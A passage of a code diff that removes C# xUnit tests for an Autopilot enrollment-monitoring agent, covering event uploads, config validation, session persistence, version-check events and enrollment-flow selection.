.ReturnsAsync(new IngestEventsResponse { DeviceBlocked = true });
var orch = CreateOrchestrator();
await orch.UploadEventsAsync();
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
Assert.Null(_exitCode);
Assert.Empty(_shutdownEvents);
}
[Fact]
public async Task UploadEvents_AdminOverride_Succeeded_SynthesizesTerminateWithOutcome()
{
// AdminAction is a soft-shutdown path — no forceSelfDestruct. The adminOutcome param
// tells MonitoringService.HandleTerminateSessionAsync to emit enrollment_complete
// instead of agent_shutdown.
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
_terminalEventSeen = false;
List<ServerAction> dispatched = null;
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
var orch = CreateOrchestrator();
orch.SetServerActionDispatcher(dispatcher);
await orch.UploadEventsAsync();
Assert.NotNull(dispatched);
Assert.Single(dispatched);
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
Assert.Equal("Succeeded", dispatched[0].Params["adminOutcome"]);
Assert.Equal("admin_action", dispatched[0].Params["origin"]);
Assert.False(dispatched[0].Params.ContainsKey("forceSelfDestruct"));
}
[Fact]
public async Task UploadEvents_AdminOverride_Failed_SynthesizesTerminateWithFailedOutcome()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Failed" });
_terminalEventSeen = false;
List<ServerAction> dispatched = null;
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
var orch = CreateOrchestrator();
orch.SetServerActionDispatcher(dispatcher);
await orch.UploadEventsAsync();
Assert.NotNull(dispatched);
Assert.Single(dispatched);
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
Assert.Equal("Failed", dispatched[0].Params["adminOutcome"]);
}
[Fact]
public async Task UploadEvents_AdminOverride_TerminalEventAlreadySeen_Ignored()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
_terminalEventSeen = true;
var orch = CreateOrchestrator();
await orch.UploadEventsAsync();
Assert.Empty(_emittedEvents);
}
// ===== Upload Success/Failure Tracking =====
[Fact]
public async Task UploadEvents_Success_RemovesEventsFromSpool()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
var orch = CreateOrchestrator();
await orch.UploadEventsAsync();
_mockSpool.Verify(s => s.RemoveEvents(events), Times.Once);
}
[Fact]
public async Task UploadEvents_EmptySpool_NoApiCall()
{
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(new List<EnrollmentEvent>());
var orch = CreateOrchestrator();
await orch.UploadEventsAsync();
_mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()), Times.Never);
}
[Fact]
public async Task UploadEvents_AuthException_TriggersHandleAuthFailure()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ThrowsAsync(new BackendAuthException("Unauthorized", 401));
_config.MaxAuthFailures = 0; // disable exit so test doesn't trip ExitProcess
var orch = CreateOrchestrator();
await orch.UploadEventsAsync();
// Distress should be sent (first auth failure)
_mockDistress.Verify(d => d.TrySendAsync(
DistressErrorType.AuthCertificateRejected,
It.IsAny<string>(),
401), Times.Once);
}
[Fact]
public async Task UploadEvents_GenericException_IncrementsUploadFailureCounter()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ThrowsAsync(new Exception("Network error"));
var orch = CreateOrchestrator();
// Call 3 times to reach the emergency threshold
for (int i = 0; i < EmergencyReporter.ConsecutiveFailureThreshold; i++)
await orch.UploadEventsAsync();
_mockEmergency.Verify(e => e.TrySendAsync(
AgentErrorType.IngestFailed,
It.IsAny<string>(),
It.IsAny<int?>(),
It.IsAny<long?>()), Times.Once);
}
[Fact]
public async Task UploadEvents_Success_ResetsAllFailureCounters()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
// First call: fail with generic exception
_mockApiClient.SetupSequence(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ThrowsAsync(new Exception("Network error"))
.ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 })
.ThrowsAsync(new Exception("Network error again"));
var orch = CreateOrchestrator();
// Failure #1
await orch.UploadEventsAsync();
// Success — resets counter
await orch.UploadEventsAsync();
// Failure #1 again (counter was reset, so emergency at threshold from fresh start)
await orch.UploadEventsAsync();
// Emergency should NOT be sent because the counter was reset after 1 failure
// (threshold is 3, we only had 1 failure after reset)
_mockEmergency.Verify(e => e.TrySendAsync(
It.IsAny<AgentErrorType>(),
It.IsAny<string>(),
It.IsAny<int?>(),
It.IsAny<long?>()), Times.Never);
}
[Fact]
public async Task UploadEvents_ConcurrentCall_SecondSkipped()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
var tcs = new TaskCompletionSource<IngestEventsResponse>();
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.Returns(tcs.Task);
var orch = CreateOrchestrator();
// Start first upload (will block on tcs)
var task1 = orch.UploadEventsAsync();
// Second call should be skipped immediately
await orch.UploadEventsAsync();
// Complete the first call
tcs.SetResult(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
await task1;
// API should only be called once (second was skipped)
_mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()), Times.Once);
}
}
}
@@ -1,112 +0,0 @@
using System;
using System.IO;
using AutopilotMonitor.Agent.Core.Configuration;
using AutopilotMonitor.Agent.Core.Logging;
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
/// <summary>
/// Verifies that MonitoringService rejects an incomplete AgentConfiguration with a
/// diagnostic message that names the missing fields. Customer-impact regression
/// (gardnermedia, 2026-04-30): a TenantId-less startup crashed with an opaque
/// "Invalid agent configuration" message that defied forensic analysis.
/// </summary>
public class MonitoringServiceConfigValidationTests : IDisposable
{
private readonly string _tempDir;
public MonitoringServiceConfigValidationTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-cfg-validation-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
}
public void Dispose()
{
try { Directory.Delete(_tempDir, true); } catch { }
}
private AgentConfiguration BuildValidConfig() => new AgentConfiguration
{
ApiBaseUrl = "https://example.invalid",
SessionId = Guid.NewGuid().ToString(),
TenantId = Guid.NewGuid().ToString(),
SpoolDirectory = Path.Combine(_tempDir, "spool"),
LogDirectory = Path.Combine(_tempDir, "logs")
};
private AgentLogger BuildLogger() => new AgentLogger(Path.Combine(_tempDir, "logs"));
[Fact]
public void Constructor_throws_with_field_name_when_TenantId_missing()
{
var config = BuildValidConfig();
config.TenantId = null;
var ex = Assert.Throws<InvalidOperationException>(
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
Assert.Contains("missing", ex.Message);
Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
}
[Fact]
public void Constructor_throws_with_field_name_when_SessionId_missing()
{
var config = BuildValidConfig();
config.SessionId = "";
var ex = Assert.Throws<InvalidOperationException>(
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
}
[Fact]
public void Constructor_throws_with_field_name_when_ApiBaseUrl_missing()
{
var config = BuildValidConfig();
config.ApiBaseUrl = null;
var ex = Assert.Throws<InvalidOperationException>(
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
}
[Fact]
public void Constructor_throws_with_all_field_names_when_multiple_missing()
{
var config = new AgentConfiguration
{
ApiBaseUrl = null,
SessionId = null,
TenantId = null,
SpoolDirectory = Path.Combine(_tempDir, "spool"),
LogDirectory = Path.Combine(_tempDir, "logs")
};
var ex = Assert.Throws<InvalidOperationException>(
() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
}
[Fact]
public void Constructor_message_does_not_change_for_valid_config()
{
// Sanity: a fully-populated config should NOT throw the validation exception.
// It may throw later (cert load, spool init) — we only assert the validation
// path itself does not fire on a complete config.
var config = BuildValidConfig();
var ex = Record.Exception(() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
if (ex is InvalidOperationException ioe)
Assert.DoesNotContain("Invalid agent configuration:", ioe.Message);
}
}
}
@@ -1,177 +0,0 @@
using System;
using System.IO;
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
/// <summary>
/// Tests session persistence across agent restarts, reboots, and OS resets.
/// Prevents: session splits when session.created is lost during reboot (orphan guard
/// was too aggressive — deleted session.id instead of recovering session.created).
/// </summary>
public class SessionPersistenceTests : IDisposable
{
private readonly string _tempDir;
public SessionPersistenceTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-session-test-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
}
public void Dispose()
{
try { Directory.Delete(_tempDir, true); } catch { }
}
[Fact]
public void LoadOrCreateSessionId_FirstRun_CreatesNewSession()
{
var persistence = new SessionPersistence(_tempDir);
var sessionId = persistence.LoadOrCreateSessionId();
Assert.True(Guid.TryParse(sessionId, out _));
Assert.True(File.Exists(Path.Combine(_tempDir, "session.id")));
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
}
[Fact]
public void LoadOrCreateSessionId_ExistingSession_ReturnsExistingId()
{
var persistence = new SessionPersistence(_tempDir);
var firstId = persistence.LoadOrCreateSessionId();
// Simulate agent restart — new SessionPersistence instance, same directory
var persistence2 = new SessionPersistence(_tempDir);
var secondId = persistence2.LoadOrCreateSessionId();
Assert.Equal(firstId, secondId);
}
/// <summary>
/// Regression test for the session-split bug: after a reboot, if session.created
/// is lost (filesystem flush, corruption, etc.) but session.id survives,
/// the agent must resume the existing session — not create a new one.
/// </summary>
[Fact]
public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_ResumesSession()
{
// Arrange: create a valid session, then delete session.created to simulate loss
var persistence = new SessionPersistence(_tempDir);
var originalId = persistence.LoadOrCreateSessionId();
File.Delete(Path.Combine(_tempDir, "session.created"));
Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
// Act: simulate agent restart after reboot
var persistence2 = new SessionPersistence(_tempDir);
var resumedId = persistence2.LoadOrCreateSessionId();
// Assert: same session ID, session.created re-initialized
Assert.Equal(originalId, resumedId);
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
}
/// <summary>
/// True orphan: session.id from a previous enrollment (old file) without
/// session.created should still be discarded and a new session created.
/// </summary>
[Fact]
public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_CreatesNewSession()
{
// Arrange: write a session.id with an old modification time
var sessionIdPath = Path.Combine(_tempDir, "session.id");
var oldGuid = Guid.NewGuid().ToString();
File.WriteAllText(sessionIdPath, oldGuid);
// Set file modification time to well beyond the orphan guard threshold
var oldTime = DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24));
File.SetLastWriteTimeUtc(sessionIdPath, oldTime);
// No session.created file — simulates OS reset where ProgramData survived
// Act
var persistence = new SessionPersistence(_tempDir);
var newId = persistence.LoadOrCreateSessionId();
// Assert: new session created, not the old orphan
Assert.NotEqual(oldGuid, newId);
Assert.True(Guid.TryParse(newId, out _));
Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
}
[Fact]
public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_PreservesSequence()
{
// Arrange: create session with sequence, then delete session.created
var persistence = new SessionPersistence(_tempDir);
var originalId = persistence.LoadOrCreateSessionId();
persistence.SaveSequence(42);
File.Delete(Path.Combine(_tempDir, "session.created"));
// Act: restart
var persistence2 = new SessionPersistence(_tempDir);
var resumedId = persistence2.LoadOrCreateSessionId();
var sequence = persistence2.LoadSequence();
// Assert: session AND sequence preserved
Assert.Equal(originalId, resumedId);
Assert.Equal(42, sequence);
}
[Fact]
public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_ClearsSequence()
{
// Arrange: old session.id + sequence file, no session.created
var sessionIdPath = Path.Combine(_tempDir, "session.id");
File.WriteAllText(sessionIdPath, Guid.NewGuid().ToString());
File.SetLastWriteTimeUtc(sessionIdPath,
DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24)));
var seqPath = Path.Combine(_tempDir, "session.seq");
File.WriteAllText(seqPath, "99");
// Act
var persistence = new SessionPersistence(_tempDir);
persistence.LoadOrCreateSessionId();
var sequence = persistence.LoadSequence();
// Assert: sequence reset (old orphan files cleaned up)
Assert.Equal(0, sequence);
}
[Fact]
public void DeleteSession_RemovesAllFiles()
{
var persistence = new SessionPersistence(_tempDir);
persistence.LoadOrCreateSessionId();
persistence.SaveSequence(10);
persistence.DeleteSession();
Assert.False(File.Exists(Path.Combine(_tempDir, "session.id")));
Assert.False(File.Exists(Path.Combine(_tempDir, "session.seq")));
Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
}
[Fact]
public void NewSession_Flag_ForcesNewSession()
{
var persistence = new SessionPersistence(_tempDir);
var firstId = persistence.LoadOrCreateSessionId();
// Simulate --new-session flag: delete then create
persistence.DeleteSession();
var secondId = persistence.LoadOrCreateSessionId();
Assert.NotEqual(firstId, secondId);
}
}
}
@@ -1,313 +0,0 @@
using System;
using System.IO;
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Newtonsoft.Json.Linq;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
/// <summary>
/// Covers the three outcomes (updated / skipped / check_failed / up_to_date), the dedup rules,
/// and the defensive behaviors (no marker, corrupt JSON, stale markers).
/// </summary>
public class VersionCheckEventBuilderTests : IDisposable
{
private readonly string _tempDir;
private readonly VersionCheckEventBuilder.Paths _paths;
private const string SessionA = "11111111-1111-1111-1111-111111111111";
private const string SessionB = "22222222-2222-2222-2222-222222222222";
private const string TenantId = "tenant-xyz";
public VersionCheckEventBuilderTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "vceb-test-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
_paths = new VersionCheckEventBuilder.Paths
{
UpdatedMarker = Path.Combine(_tempDir, "self-update-info.json"),
SkippedMarker = Path.Combine(_tempDir, "self-update-skipped.json"),
CheckedMarker = Path.Combine(_tempDir, "self-update-checked.json"),
LastEmit = Path.Combine(_tempDir, "last-version-check.json"),
};
}
public void Dispose()
{
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } catch { }
}
private void WriteChecked(string current = "1.0.949", string latest = "1.0.949", long versionCheckMs = 123)
{
var json = new JObject
{
["outcome"] = "up_to_date",
["currentVersion"] = current,
["latestVersion"] = latest,
["versionCheckMs"] = versionCheckMs,
["checkedAtUtc"] = DateTime.UtcNow.ToString("O"),
};
File.WriteAllText(_paths.CheckedMarker, json.ToString());
}
private void WriteUpdated(string previous = "1.0.949", string newVer = "1.0.950", string trigger = "startup")
{
var now = DateTime.UtcNow;
var json = new JObject
{
["outcome"] = "updated",
["previousVersion"] = previous,
["newVersion"] = newVer,
["triggerReason"] = trigger,
["updatedAtUtc"] = now.ToString("O"),
["exitAtUtc"] = now.AddSeconds(-2).ToString("O"),
["versionCheckMs"] = 100L,
["downloadMs"] = 2000L,
["zipSizeBytes"] = 1234567L,
["verifyMs"] = 40L,
["extractMs"] = 200L,
["swapMs"] = 50L,
["totalUpdateMs"] = 2400L,
};
File.WriteAllText(_paths.UpdatedMarker, json.ToString());
}
private void WriteSkipped(string reason = "download_failed", string latest = "1.0.950", string outcome = null)
{
var json = new JObject
{
["reason"] = reason,
["currentVersion"] = "1.0.949",
["latestVersion"] = latest,
["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
["errorDetail"] = "timeout after 10000ms",
};
if (outcome != null) json["outcome"] = outcome;
File.WriteAllText(_paths.SkippedMarker, json.ToString());
}
private void WriteLastEmit(string sessionId, string latestVersion, string outcome)
{
var json = new JObject
{
["sessionId"] = sessionId,
["latestVersion"] = latestVersion,
["outcome"] = outcome,
["emittedAtUtc"] = DateTime.UtcNow.ToString("O"),
};
File.WriteAllText(_paths.LastEmit, json.ToString());
}
[Fact]
public void NoMarker_ReturnsNoEvent()
{
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Null(result.Event);
Assert.False(result.Deduped);
Assert.Null(result.Outcome);
Assert.Null(result.ParseError);
}
[Fact]
public void UpToDateMarker_FirstTime_EmitsEventAndPersistsLastEmit()
{
WriteChecked(latest: "1.0.949");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.Equal(Constants.EventTypes.AgentVersionCheck, result.Event.EventType);
Assert.Equal(EventSeverity.Info, result.Event.Severity);
Assert.Equal("up_to_date", result.Event.Data["outcome"]);
Assert.Equal("1.0.949", result.Event.Data["latestVersion"]);
Assert.False(File.Exists(_paths.CheckedMarker)); // marker deleted
Assert.True(File.Exists(_paths.LastEmit)); // last-emit persisted
}
[Fact]
public void UpToDateMarker_SameSessionSameVersion_IsDeduped()
{
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
WriteChecked(latest: "1.0.949");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Null(result.Event);
Assert.True(result.Deduped);
Assert.Equal("up_to_date", result.Outcome);
Assert.False(File.Exists(_paths.CheckedMarker));
}
[Fact]
public void UpToDateMarker_DifferentSession_EmitsEvent()
{
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
WriteChecked(latest: "1.0.949");
var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.False(result.Deduped);
}
[Fact]
public void UpToDateMarker_SameSessionButNewerLatestVersion_EmitsEvent()
{
// White-glove scenario: after a pause a new release appeared. Dedup must break.
WriteLastEmit(SessionA, "1.0.949", "up_to_date");
WriteChecked(latest: "1.0.950");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.False(result.Deduped);
Assert.Equal("1.0.950", result.Event.Data["latestVersion"]);
}
[Fact]
public void UpdatedMarker_AlwaysEmits_IgnoresLastEmit()
{
WriteLastEmit(SessionA, "1.0.950", "updated");
WriteUpdated(previous: "1.0.949", newVer: "1.0.950", trigger: "startup");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.Equal("updated", result.Event.Data["outcome"]);
Assert.Equal(EventSeverity.Info, result.Event.Severity);
Assert.Equal("1.0.949", result.Event.Data["previousVersion"]);
Assert.Equal("1.0.950", result.Event.Data["newVersion"]);
Assert.True(result.Event.Data.ContainsKey("downtimeMs"));
Assert.False(File.Exists(_paths.UpdatedMarker));
}
[Fact]
public void UpdatedMarker_RuntimeTrigger_IsWarningSeverity()
{
WriteUpdated(trigger: "runtime_hash_mismatch");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
}
[Fact]
public void SkippedMarker_DownloadFailed_EmitsWithSkippedOutcome()
{
WriteSkipped(reason: "download_failed");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.Equal("skipped", result.Event.Data["outcome"]);
Assert.Equal("download_failed", result.Event.Data["reason"]);
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
Assert.False(File.Exists(_paths.SkippedMarker));
}
[Fact]
public void SkippedMarker_VersionCheckFailed_DerivesCheckFailedOutcome()
{
// Backward-compat: old marker without outcome field — must still map correctly.
WriteSkipped(reason: "version_check_failed", latest: null, outcome: null);
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Equal("check_failed", result.Event.Data["outcome"]);
}
[Fact]
public void Priority_UpdatedBeatsSkippedBeatsChecked()
{
// All three present (edge case after a crash). Updated wins, the others are cleaned up.
WriteUpdated();
WriteSkipped();
WriteChecked();
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Equal("updated", result.Event.Data["outcome"]);
Assert.False(File.Exists(_paths.UpdatedMarker));
Assert.False(File.Exists(_paths.SkippedMarker));
Assert.False(File.Exists(_paths.CheckedMarker));
}
[Fact]
public void CorruptMarker_DoesNotThrow_ReturnsParseError()
{
File.WriteAllText(_paths.CheckedMarker, "{ not valid json");
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Null(result.Event);
Assert.NotNull(result.ParseError);
Assert.False(File.Exists(_paths.CheckedMarker)); // still cleaned up
}
private void WriteDowngradeBlocked(string current = "1.0.961", string latest = "1.0.951", string trigger = "runtime_hash_mismatch")
{
var json = new JObject
{
["outcome"] = "downgrade_blocked",
["reason"] = "downgrade_blocked",
["currentVersion"] = current,
["latestVersion"] = latest,
["triggerReason"] = trigger,
["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
["errorDetail"] = string.Empty,
};
File.WriteAllText(_paths.SkippedMarker, json.ToString());
}
[Fact]
public void DowngradeBlockedMarker_FirstTime_EmitsWarningEvent()
{
WriteDowngradeBlocked();
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
Assert.Equal("downgrade_blocked", result.Event.Data["outcome"]);
Assert.Equal("1.0.951", result.Event.Data["latestVersion"]);
Assert.Equal("1.0.961", result.Event.Data["currentVersion"]);
Assert.Equal("runtime_hash_mismatch", result.Event.Data["triggerReason"]);
Assert.Contains("downgrade from 1.0.961 to 1.0.951", result.Event.Message);
Assert.False(result.Deduped);
Assert.False(File.Exists(_paths.SkippedMarker));
}
[Fact]
public void DowngradeBlocked_SameSessionSameLatest_IsDeduped()
{
WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
WriteDowngradeBlocked();
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
Assert.Null(result.Event);
Assert.True(result.Deduped);
Assert.Equal("downgrade_blocked", result.Outcome);
}
[Fact]
public void DowngradeBlocked_DifferentSession_EmitsFresh()
{
WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
WriteDowngradeBlocked();
var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
Assert.NotNull(result.Event);
Assert.False(result.Deduped);
}
}
}
@@ -1,123 +0,0 @@
using AutopilotMonitor.Shared.Models;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Flows
{
/// <summary>
/// Guards the v1/v2 enrollment-flow "Weiche": ensures flow handlers expose the correct
/// policy bits and the factory picks the right handler for each EnrollmentType.
/// Prevents regressions such as DevPrep flows accidentally applying the ESP gate,
/// or Classic flows skipping ESP-phase tracking.
/// </summary>
public class EnrollmentFlowTests
{
// -- Enum <-> wire format roundtrip --
[Theory]
[InlineData("v1", EnrollmentType.Classic)]
[InlineData("V1", EnrollmentType.Classic)]
[InlineData("v2", EnrollmentType.DevicePreparation)]
[InlineData("V2", EnrollmentType.DevicePreparation)]
public void FromWireFormat_KnownValues_ReturnsMatchingEnum(string wire, EnrollmentType expected)
{
Assert.Equal(expected, EnrollmentTypeExtensions.FromWireFormat(wire));
}
[Theory]
[InlineData(null)]
[InlineData("")]
[InlineData(" ")]
[InlineData("v3")]
[InlineData("classic")]
public void FromWireFormat_UnknownOrEmpty_ReturnsUnknown(string wire)
{
Assert.Equal(EnrollmentType.Unknown, EnrollmentTypeExtensions.FromWireFormat(wire));
}
[Theory]
[InlineData(EnrollmentType.Classic, "v1")]
[InlineData(EnrollmentType.DevicePreparation, "v2")]
[InlineData(EnrollmentType.Unknown, "v1")] // legacy-safe default
public void ToWireFormat_ProducesExpectedString(EnrollmentType type, string expected)
{
Assert.Equal(expected, type.ToWireFormat());
}
// -- Flow handler policy bits --
[Fact]
public void ClassicAutopilotFlow_TracksEspPhases_True()
{
var flow = new ClassicAutopilotFlow();
Assert.Equal(EnrollmentType.Classic, flow.SupportedType);
Assert.True(flow.TracksEspPhases);
Assert.True(flow.AppliesEspGateOnDesktopArrival);
}
[Fact]
public void DevicePreparationFlow_DoesNotTrackEspPhases()
{
var flow = new DevicePreparationFlow();
Assert.Equal(EnrollmentType.DevicePreparation, flow.SupportedType);
Assert.False(flow.TracksEspPhases);
Assert.False(flow.AppliesEspGateOnDesktopArrival);
}
// -- Factory selection --
[Fact]
public void Factory_Create_Classic_ReturnsClassicFlow()
{
Assert.IsType<ClassicAutopilotFlow>(EnrollmentFlowFactory.Create(EnrollmentType.Classic));
}
[Fact]
public void Factory_Create_DevicePreparation_ReturnsDevPrepFlow()
{
Assert.IsType<DevicePreparationFlow>(EnrollmentFlowFactory.Create(EnrollmentType.DevicePreparation));
}
[Fact]
public void Factory_Create_Unknown_FallsBackToClassic()
{
// Unknown must not produce null — Classic is the safe legacy default.
Assert.IsType<ClassicAutopilotFlow>(EnrollmentFlowFactory.Create(EnrollmentType.Unknown));
}
[Theory]
[InlineData("v1", typeof(ClassicAutopilotFlow))]
[InlineData("v2", typeof(DevicePreparationFlow))]
[InlineData("", typeof(ClassicAutopilotFlow))]
[InlineData("bogus", typeof(ClassicAutopilotFlow))]
public void Factory_FromWireFormat_PicksCorrectFlow(string wire, System.Type expectedType)
{
var flow = EnrollmentFlowFactory.FromWireFormat(wire);
Assert.IsType(expectedType, flow);
}
// -- RegisterSessionResponse back-compat guard --
[Fact]
public void RegisterSessionResponse_DefaultValidatedBy_IsUnknown()
{
// A response from an older backend that does not set ValidatedBy must
// deserialize with ValidatedBy = Unknown so the agent falls back to
// its own registry detection.
var response = new RegisterSessionResponse();
Assert.Equal(ValidatorType.Unknown, response.ValidatedBy);
}
[Fact]
public void ValidatorType_Unknown_IsDefaultValue()
{
// Newtonsoft.Json / System.Text.Json default for a missing enum field is 0.
// Unknown must be 0 so missing-field deserialization stays backward compatible.
Assert.Equal(0, (int)ValidatorType.Unknown);
}
}
}
@@ -1,20 +0,0 @@
using System;
using System.IO;
using AutopilotMonitor.Agent.Core.Logging;
namespace AutopilotMonitor.Agent.Core.Tests.Helpers
{
/// <summary>
/// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned.
/// </summary>
internal static class TestLogger
{
private static readonly Lazy<AgentLogger> _instance = new Lazy<AgentLogger>(() =>
{
var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N"));
return new AgentLogger(dir);
});
public static AgentLogger Instance => _instance.Value;
}
}
@@ -1,71 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
{
/// <summary>
/// Phase 3 of the hosted-diagnostics work: V1 agent must build the blob PUT URL
/// destination-aware so a Hosted SAS (already blob-scoped at
/// <c>{tenantId}/{filename}</c>) is used as-is, while a CustomerSas (container-scoped)
